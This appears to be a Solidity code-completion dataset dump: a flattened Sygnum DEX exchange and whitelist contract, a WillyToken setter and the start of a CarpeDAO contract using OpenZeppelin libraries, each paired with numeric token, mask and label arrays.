check. * @return bool true: Set member, false: not a Set member. */ function exists(Set storage self, bytes32 key) internal view returns(bool) { if(self.keyList.length == 0) return false; return self.keyList[self.keyPointers[key]] == key; } /** * @notice fetch a key by row (enumerate). * @param self storage pointer to a Set. * @param index row to enumerate. Must be < count() - 1. */ function keyAtIndex(Set storage self, uint index) internal view returns(bytes32) { return self.keyList[index]; } } // File: @sygnum/solidity-base-contracts/contracts/helpers/TradingPairWhitelist.sol /** * @title TradingPairWhitelist * @author Connor Howe <[email protected]> * @dev TradingPairWhitelist contract that allows particular trading pairs available within the DEX. Whitelisting/unwhitelisting * is controlled by operators in Operatorable contract which is initialized with the relevant BaseOperators address. */ pragma solidity 0.5.12; contract TradingPairWhitelist is TraderOperatorable { using Bytes32Set for Bytes32Set.Set; Bytes32Set.Set internal pairs; mapping (bytes32 => Pair) public pair; mapping (address => mapping (address => bytes32)) pairIdentifier; struct Pair { bool paired; bool frozen; address buyToken; address sellToken; } event PairedTokens(bytes32 indexed pairID, address indexed buytoken, address indexed sellToken); event DepairedTokens(bytes32 indexed pairID, address indexed buytoken, address indexed sellToken); event FrozenPair(bytes32 indexed pairID); event UnFrozenPair(bytes32 indexed pairID); /** * @dev Reverts if _buyToken and _sellToken are not paired. * @param _buyToken buy token against sell token to determine if whitelisted pair or not. * @param _sellToken sell token against buy token to determine if whitelisted pair or not. */ modifier onlyPaired(address _buyToken, address _sellToken) { require(isPaired(_buyToken, _sellToken), 'TradingPairWhitelist: pair is not whitelisted'); _; } /** * @dev Reverts if _buyToken and _sellToken are frozen. * @param _buyToken buy token against sell token to determine if frozen pair or not. * @param _sellToken sell token against buy token to determine if frozen pair or not. */ modifier whenNotFrozen(address _buyToken, address _sellToken) { require(!isFrozen(_buyToken, _sellToken), 'TradingPairWhitelist: pair is frozen'); _; } /** * @dev Getter to determine if pairs are whitelisted. * @param _buyToken buy token against sell token to determine if whitelisted pair or not. * @param _sellToken sell token against buy token to determine if whitelisted pair or not. * @return bool is whitelisted pair. */ function isPaired(address _buyToken, address _sellToken) public view returns (bool) { return pair[pairIdentifier[_buyToken][_sellToken]].paired; } /** * @dev Getter to determine if pairs are frozen. * @param _buyToken buy token against sell token to determine if frozen pair or not. * @param _sellToken sell token against buy token to determine if frozen pair or not. * @return bool is frozen pair. */ function isFrozen(address _buyToken, address _sellToken) public view returns (bool) { return pair[pairIdentifier[_buyToken][_sellToken]].frozen; } /** * @dev Pair tokens to be available for trading on DEX. * @param _pairID pair identifier. * @param _buyToken buy token against sell token to whitelist. * @param _sellToken sell token against buy token to whitelist. */ function pairTokens(bytes32 _pairID, address _buyToken, address _sellToken) public onlyOperator { _pairTokens(_pairID, _buyToken, _sellToken); } /** * @dev Depair tokens to be available for trading on DEX. * @param _pairID pair identifier. */ function depairTokens(bytes32 _pairID) public onlyOperator { _depairTokens(_pairID); } /** * @dev Freeze pair trading on DEX. * @param _pairID pair identifier. */ function freezePair(bytes32 _pairID) public onlyOperatorOrTraderOrSystem { _freezePair(_pairID); } /** * @dev Unfreeze pair trading on DEX. * @param _pairID pair identifier. */ function unfreezePair(bytes32 _pairID) public onlyOperatorOrTraderOrSystem { _unfreezePair(_pairID); } /** * @dev Batch pair tokens. * @param _pairID array of pairID. * @param _buyToken address array of buyToken. * @param _sellToken address array of buyToken. */ function batchPairTokens(bytes32[] memory _pairID, address[] memory _buyToken, address[] memory _sellToken) public onlyOperator { require(_pairID.length <= 256, 'TradingPairWhitelist: batch count is greater than 256'); require(_pairID.length == _buyToken.length && _buyToken.length == _sellToken.length, 'TradingPairWhitelist: array lengths not equal'); for (uint256 i = 0; i < _buyToken.length; i++) { _pairTokens(_pairID[i], _buyToken[i], _sellToken[i]); } } /** * @dev Batch depair tokens. * @param _pairID array of pairID. */ function batchDepairTokens(bytes32[] memory _pairID) public onlyOperator { require(_pairID.length <= 256, 'TradingPairWhitelist: batch count is greater than 256'); for (uint256 i = 0; i < _pairID.length; i++) { _depairTokens(_pairID[i]); } } /** * @dev Batch freeze tokens. * @param _pairID array of pairID. */ function batchFreezeTokens(bytes32[] memory _pairID) public onlyOperatorOrTraderOrSystem { require(_pairID.length <= 256, 'TradingPairWhitelist: batch count is greater than 256'); for (uint256 i = 0; i < _pairID.length; i++) { _freezePair(_pairID[i]); } } /** * @dev Batch unfreeze tokens. * @param _pairID array of pairID. */ function batchUnfreezeTokens(bytes32[] memory _pairID) public onlyOperatorOrTraderOrSystem { require(_pairID.length <= 256, 'TradingPairWhitelist: batch count is greater than 256'); for (uint256 i = 0; i < _pairID.length; i++) { _unfreezePair(_pairID[i]); } } /** * @return Amount of pairs. */ function getPairCount() public view returns(uint256) { return pairs.count(); } /** * @return Key at index. */ function getIdentifier(uint256 _index) public view returns(bytes32) { return pairs.keyAtIndex(_index); } /** INTERNAL FUNCTIONS */ function _pairTokens(bytes32 _pairID, address _buyToken, address _sellToken) internal { require(_buyToken != address(0) && _sellToken != address(0), 'TradingPairWhitelist: tokens cannot be empty'); require(_buyToken != _sellToken, 'TradingPairWhitelist: buy and sell tokens cannot be the same'); require(!isPaired(_buyToken, _sellToken), 'TradingPairWhitelist: tokens have already been paired'); require(!pairs.exists(_pairID), 'TradingPairWhitelist: pair ID exists'); pair[_pairID] = Pair({ paired: true, frozen: false, buyToken: _buyToken, sellToken: _sellToken }); pairs.insert(_pairID); pairIdentifier[_buyToken][_sellToken] = _pairID; emit PairedTokens(_pairID, _buyToken, _sellToken); } function _depairTokens(bytes32 _pairID) internal { require(pairs.exists(_pairID), 'TradingPairWhitelist: pair ID not does not exist'); Pair memory p = pair[_pairID]; delete pair[_pairID]; pairs.remove(_pairID); delete pairIdentifier[p.buyToken][p.sellToken]; emit DepairedTokens(_pairID, p.buyToken, p.sellToken); } function _freezePair(bytes32 _pairID) internal { require(pairs.exists(_pairID), 'TradingPairWhitelist: pair ID not does not exist'); require(!pair[_pairID].frozen, 'TradingPairWhitelist: token pair is frozen'); pair[_pairID].frozen = true; emit FrozenPair(_pairID); } function _unfreezePair(bytes32 _pairID) internal { require(pairs.exists(_pairID), 'TradingPairWhitelist: pair ID not does not exist'); require(pair[_pairID].frozen, 'TradingPairWhitelist: token pair is not frozen'); pair[_pairID].frozen = false; emit UnFrozenPair(_pairID); } } // File: @sygnum/solidity-base-contracts/contracts/helpers/interface/IWhitelist.sol pragma solidity 0.5.12; /** * @title IWhitelist * @notice Interface for Whitelist contract */ contract IWhitelist { function isWhitelisted(address _account) external view returns (bool); function toggleWhitelist(address _account, bool _toggled) external; } // File: @sygnum/solidity-base-contracts/contracts/helpers/instance/Whitelistable.sol /** * @title Whitelistable * @author Connor Howe <[email protected]> * @dev Whitelistable contract stores the Whitelist contract address, and modifiers for * contracts. */ pragma solidity 0.5.12; contract Whitelistable is Initializable, Operatorable { IWhitelist internal whitelistInst; address private whitelistPending; event WhitelistContractChanged(address indexed caller, address indexed whitelistAddress); event WhitelistContractPending(address indexed caller, address indexed whitelistAddress); /** * @dev Reverts if _account is not whitelisted. * @param _account address to determine if whitelisted. */ modifier whenWhitelisted(address _account) { require(isWhitelisted(_account), "Whitelistable: account is not whitelisted"); _; } /** * @dev Initialization instead of constructor, called once. The setWhitelistContract function can be called only by Admin role with * confirmation through the whitelist contract. * @param _whitelist Whitelist contract address. * @param _baseOperators BaseOperators contract address. */ function initialize(address _baseOperators, address _whitelist) public initializer { _setOperatorsContract(_baseOperators); _setWhitelistContract(_whitelist); } /** * @dev Set the new the address of Whitelist contract, should be confirmed from whitelist contract by calling confirmFor(addr) * where addr is the address of current contract instance. This is done to prevent the case when the new contract address is * broken and control of the contract can be lost in such case * @param _whitelist Whitelist contract address. */ function setWhitelistContract(address _whitelist) public onlyAdmin { require(_whitelist != address(0), "Whitelistable: address of new whitelist contract can not be zero"); whitelistPending = _whitelist; emit WhitelistContractPending(msg.sender, _whitelist); } /** * @dev The function should be called from new whitelist contract by admin to insure that whitelistPending address * is the real contract address. */ function confirmWhitelistContract() public { require(whitelistPending != address(0), "Whitelistable: address of new whitelist contract can not be zero"); require(msg.sender == whitelistPending, "Whitelistable: should be called from new whitelist contract"); _setWhitelistContract(whitelistPending); } /** * @return The address of the Whitelist contract. */ function getWhitelistContract() public view returns(address) { return address(whitelistInst); } /** * @return The pending address of the Whitelist contract. */ function getWhitelistPending() public view returns(address) { return whitelistPending; } /** * @return If '_account' is whitelisted. */ function isWhitelisted(address _account) public view returns (bool) { return whitelistInst.isWhitelisted(_account); } /** INTERNAL FUNCTIONS */ function _setWhitelistContract(address _whitelist) internal { require(_whitelist != address(0), "Whitelistable: address of new whitelist contract cannot be zero"); whitelistInst = IWhitelist(_whitelist); emit WhitelistContractChanged(msg.sender, _whitelist); } } // File: @sygnum/solidity-base-contracts/contracts/helpers/interface/IWhitelistable.sol pragma solidity 0.5.12; /** * @title IWhitelistable * @notice Interface for whitelistable contract. */ contract IWhitelistable { function confirmWhitelistContract() external; } // File: @sygnum/solidity-base-contracts/contracts/helpers/Whitelist.sol /** * @title Whitelist * @author Connor Howe <[email protected]> * @dev Whitelist contract with whitelist/unwhitelist functionality for particular addresses. Whitelisting/unwhitelisting * is controlled by operators/system/relays in Operatorable contract. */ pragma solidity 0.5.12; contract Whitelist is Operatorable { mapping(address => bool) public whitelisted; event WhitelistToggled(address indexed account, bool whitelisted); /** * @dev Reverts if _account is not whitelisted. * @param _account address to determine if whitelisted. */ modifier whenWhitelisted(address _account) { require(isWhitelisted(_account), "Whitelist: account is not whitelisted"); _; } /** * @dev Reverts if address is empty. * @param _address address to validate. */ modifier onlyValidAddress(address _address) { require(_address != address(0), "Whitelist: invalid address"); _; } /** * @dev Getter to determine if address is whitelisted. * @param _account address to determine if whitelisted or not. * @return bool is whitelisted */ function isWhitelisted(address _account) public view returns (bool) { return whitelisted[_account]; } /** * @dev Toggle whitelisted/unwhitelisted on _account address, with _toggled being true/false. * @param _account address to toggle. * @param _toggled whitelist/unwhitelist. */ function toggleWhitelist(address _account, bool _toggled) public onlyValidAddress(_account) onlyOperatorOrSystemOrRelay { whitelisted[_account] = _toggled; emit WhitelistToggled(_account, whitelisted[_account]); } /** * @dev Batch whitelisted/unwhitelist multiple addresses, with _toggled being true/false. * @param _addresses address array. * @param _toggled whitelist/unwhitelist. */ function batchToggleWhitelist(address[] memory _addresses, bool _toggled) public { require(_addresses.length <= 256, "Whitelist: batch count is greater than 256"); for (uint256 i = 0; i < _addresses.length; i++) { toggleWhitelist(_addresses[i], _toggled); } } /** * @dev Confirms whitelist contract address once active. * @param _address Whitelistable contract addres. */ function confirmFor(address _address) public onlyAdmin { require(_address != address(0), "Whitelist: address cannot be empty"); IWhitelistable(_address).confirmWhitelistContract(); } } // File: contracts/dex/Exchange.sol /** * @title Exchange. * @author Team 3301 <[email protected]> * @dev Users can make/cancel an order and take one or multiple orders. */ pragma solidity ^0.5.12; contract Exchange is Pausable, TradingPairWhitelist { using Bytes32Set for Bytes32Set.Set; using SafeMath for uint256; using Math for uint256; struct Order { address maker; // account of the order maker. address specificTaker; // address of a taker, if applies. bool isComplete; // false: partial order; true: complete order; ISygnumToken sellToken; // token that the order maker sells uint256 sellAmount; // total amount of token planned to be sold by the maker ISygnumToken buyToken; // token that the order maker buys uint256 buyAmount; // total amount of token planned to be bought by the maker } Bytes32Set.Set internal orders; mapping(bytes32 => Order) public order; event MadeOrder( bytes32 indexed orderID, ISygnumToken indexed sellToken, ISygnumToken indexed buyToken, address maker, address specificTaker, bool isComplete, uint256 sellAmount, uint256 buyAmount ); event MadeOrderParticipants(bytes32 indexed orderID, address indexed maker, address indexed specificTaker); event TakenOrder( bytes32 indexed orderID, ISygnumToken indexed purchasedToken, ISygnumToken indexed paidToken, address maker, address taker, uint256 purchasedAmount, uint256 paidAmount // computed amount of tokens paid by the taker ); event TakenOrderParticipants(bytes32 indexed orderID, address indexed maker, address indexed taker); event CancelledOrder( bytes32 indexed orderID, address killer, ISygnumToken indexed sellToken, ISygnumToken indexed buyToken ); /** * @dev Reverts if length is not within range */ modifier checkBatchLength(uint256 length) { require(length > 1, "Exchange: Fewer than two orders"); require(length < 256, "Exchange: Too many orders"); _; } /** * @dev Reverts if current block less than time-out block number */ modifier checkTimeOut(uint256 timeOutBlockNumber) { require(block.number <= timeOutBlockNumber, "Exchange: timeout"); _; } /** * @dev Take orders by their orderID. * @param orderIDs Array of order ids to be taken. * @param buyers Array of buyers. * @param quantity Array of quantity per purchase. * @param timeOutBlockNumber Time-out block number. */ function takeOrders( bytes32[] calldata orderIDs, address[] calldata buyers, uint256[] calldata quantity, uint256 timeOutBlockNumber ) external whenNotPaused checkBatchLength(orderIDs.length) checkTimeOut(timeOutBlockNumber) { require( orderIDs.length == buyers.length && buyers.length == quantity.length, "Exchange: orders and buyers not equal" ); for (uint256 i = 0; i < orderIDs.length; i = i + 1) { takeOrder(orderIDs[i], buyers[i], quantity[i], timeOutBlockNumber); } } /** * @dev Cancel orders by their orderID. * @param orderIDs Array of order ids to be taken. */ function cancelOrders(bytes32[] calldata orderIDs) external checkBatchLength(orderIDs.length) { for (uint256 i = 0; i < orderIDs.length; i = i + 1) { cancelOrder(orderIDs[i]); } } /** * @dev Let investor make an order, providing the approval is done beforehand. * @param isComplete If this order can be filled partially (by default), or can only been taken as a whole. * @param sellToken Address of the token to be sold in this order. * @param sellAmount Total amount of token that is planned to be sold in this order. * @param buyToken Address of the token to be purchased in this order. * @param buyAmount Total amount of token planned to be bought by the maker * @param timeOutBlockNumber Time-out block number. */ function makeOrder( bytes32 orderID, address specificTaker, // if no one, just pass address(0) address seller, bool isComplete, ISygnumToken sellToken, uint256 sellAmount, ISygnumToken buyToken, uint256 buyAmount, uint256 timeOutBlockNumber ) public whenNotPaused checkTimeOut(timeOutBlockNumber) onlyPaired(address(buyToken), address(sellToken)) whenNotFrozen(address(buyToken), address(sellToken)) { address _seller = isTrader(msg.sender) ? seller : msg.sender; _makeOrder(orderID, specificTaker, _seller, isComplete, sellToken, sellAmount, buyToken, buyAmount); } /** * @dev Take an order by its orderID. * @param orderID Order ID. * @param quantity The amount of 'sellToken' that the taker wants to purchase. * @param timeOutBlockNumber Time-out block number. */ function takeOrder( bytes32 orderID, address seller, uint256 quantity, uint256 timeOutBlockNumber ) public whenNotPaused checkTimeOut(timeOutBlockNumber) { address _buyer = isTrader(msg.sender) ? seller : msg.sender; _takeOrder(orderID, _buyer, quantity); } /** * @dev Cancel an order by its maker or a trader. * @param orderID Order ID. */ function cancelOrder(bytes32 orderID) public { require(orders.exists(orderID), "Exchange: order ID does not exist"); Order memory theOrder = order[orderID]; require( isTrader(msg.sender) || (isNotPaused() && theOrder.maker == msg.sender), "Exchange: not eligible to cancel this order or the exchange is paused" ); theOrder.sellToken.unblock(theOrder.maker, theOrder.sellAmount); orders.remove(orderID); delete order[orderID]; emit CancelledOrder(orderID, msg.sender, theOrder.sellToken, theOrder.buyToken); } /** * @dev Internal take order * @param orderID Order ID. * @param buyer Address of a seller, if applies. * @param quantity Amount to purchase. */ function _takeOrder( bytes32 orderID, address buyer, uint256 quantity ) private { require(orders.exists(orderID), "Exchange: order ID does not exist"); require(buyer != address(0), "Exchange: buyer cannot be set to an empty address"); require(quantity > 0, "Exchange: quantity cannot be zero"); Order memory theOrder = order[orderID]; require( theOrder.specificTaker == address(0) || theOrder.specificTaker == buyer, "Exchange: not specific taker" ); require(!isFrozen(address(theOrder.buyToken), address(theOrder.sellToken)), "Exchange: tokens are frozen"); uint256 spend = 0; uint256 receive = 0; if (quantity >= theOrder.sellAmount) { // take the entire order anyway spend = theOrder.buyAmount; receive = theOrder.sellAmount; orders.remove(orderID); delete order[orderID]; } else { // check if partial order is possible or not. require(!theOrder.isComplete, "Cannot take a complete order partially"); spend = quantity.mul(theOrder.buyAmount).div(theOrder.sellAmount); receive = quantity; order[orderID].sellAmount = theOrder.sellAmount.sub(receive); order[orderID].buyAmount = theOrder.buyAmount.sub(spend); } require( theOrder.buyToken.allowance(buyer, address(this)) >= spend, "Exchange: sender buy allowance is not sufficient" ); theOrder.buyToken.transferFrom(buyer, theOrder.maker, spend); require( theOrder.sellToken.allowance(theOrder.maker, address(this)) >= receive, "Exchange: allowance is greater than receiving" ); theOrder.sellToken.unblock(theOrder.maker, receive); theOrder.sellToken.transferFrom(theOrder.maker, buyer, receive); emit TakenOrder(orderID, theOrder.buyToken, theOrder.sellToken, theOrder.maker, buyer, spend, receive); emit TakenOrderParticipants(orderID, theOrder.maker, buyer); } /** * @dev Internal make order * @param orderID Order ID. * @param specificTaker Address of a taker, if applies. * @param isComplete If this order can be filled partially, or can only been taken as a whole. * @param sellToken Address of the token to be sold in this order. * @param sellAmount Total amount of token that is planned to be sold in this order. * @param buyToken Address of the token to be purchased in this order. * @param buyAmount Total amount of token planned to be bought by the maker. */ function _makeOrder( bytes32 orderID, address specificTaker, address seller, bool isComplete, ISygnumToken sellToken, uint256 sellAmount, ISygnumToken buyToken, uint256 buyAmount ) private { require(!orders.exists(orderID), "Exchange: order id already exists"); require(specificTaker != msg.sender, "Exchange: Cannot make an order for oneself"); require(sellAmount > 0, "Exchange: sell amount cannot be empty"); require(buyAmount > 0, "Exchange: buy amount cannot be empty"); require(sellToken.balanceOf(seller) >= sellAmount, "Exchange: seller does not have enough balance"); require( sellToken.allowance(seller, address(this)) >= sellAmount, "Exchange: sell amount is greater than allowance" ); require( Whitelist(Whitelistable(address(buyToken)).getWhitelistContract()).isWhitelisted(seller), "Exchange: seller is not on buy token whitelist" ); if (specificTaker != address(0)) { require( Whitelist(Whitelistable(address(sellToken)).getWhitelistContract()).isWhitelisted(specificTaker), "Exchange: specific taker is not on sell token whitelist" ); } sellToken.block(seller, sellAmount); order[orderID] = Order({ maker: seller, specificTaker: specificTaker, isComplete: isComplete, sellToken: sellToken, sellAmount: sellAmount, buyToken: buyToken, buyAmount: buyAmount }); orders.insert(orderID); emit MadeOrder(orderID, sellToken, buyToken, seller, specificTaker, isComplete, sellAmount, buyAmount); emit MadeOrderParticipants(orderID, seller, specificTaker); } /** * @return Amount of orders. */ function getOrderCount() public view returns (uint256) { return orders.count(); } /** * @return Key at index. */ function getIdentifier(uint256 _index) public view returns (bytes32) { return orders.keyAtIndex(_index); } }
token that the order maker buys
ISygnumToken buyToken;
6,263,640
[ 1, 2316, 716, 326, 1353, 312, 6388, 25666, 1900, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 4437, 93, 1600, 379, 1345, 30143, 1345, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/3/0x8b8A8f4FE93E4882126340be3F3935cA4bCA08ac/sources/WillyToken.sol
Set minimum tokens required to swap.
function setSwapTokensAtAmount(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; }
8,186,275
[ 1, 694, 5224, 2430, 1931, 358, 7720, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 444, 12521, 5157, 861, 6275, 12, 11890, 5034, 7720, 5157, 861, 6275, 13, 1071, 1338, 5541, 288, 203, 3639, 389, 22270, 5157, 861, 6275, 273, 7720, 5157, 861, 6275, 31, 203, 565, 289, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// TIME TO HODL @ carpedao.org // File @openzeppelin/contracts/utils/[email protected] // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File @openzeppelin/contracts/token/ERC20/[email protected] pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); } // File @openzeppelin/contracts/math/[email protected] pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, 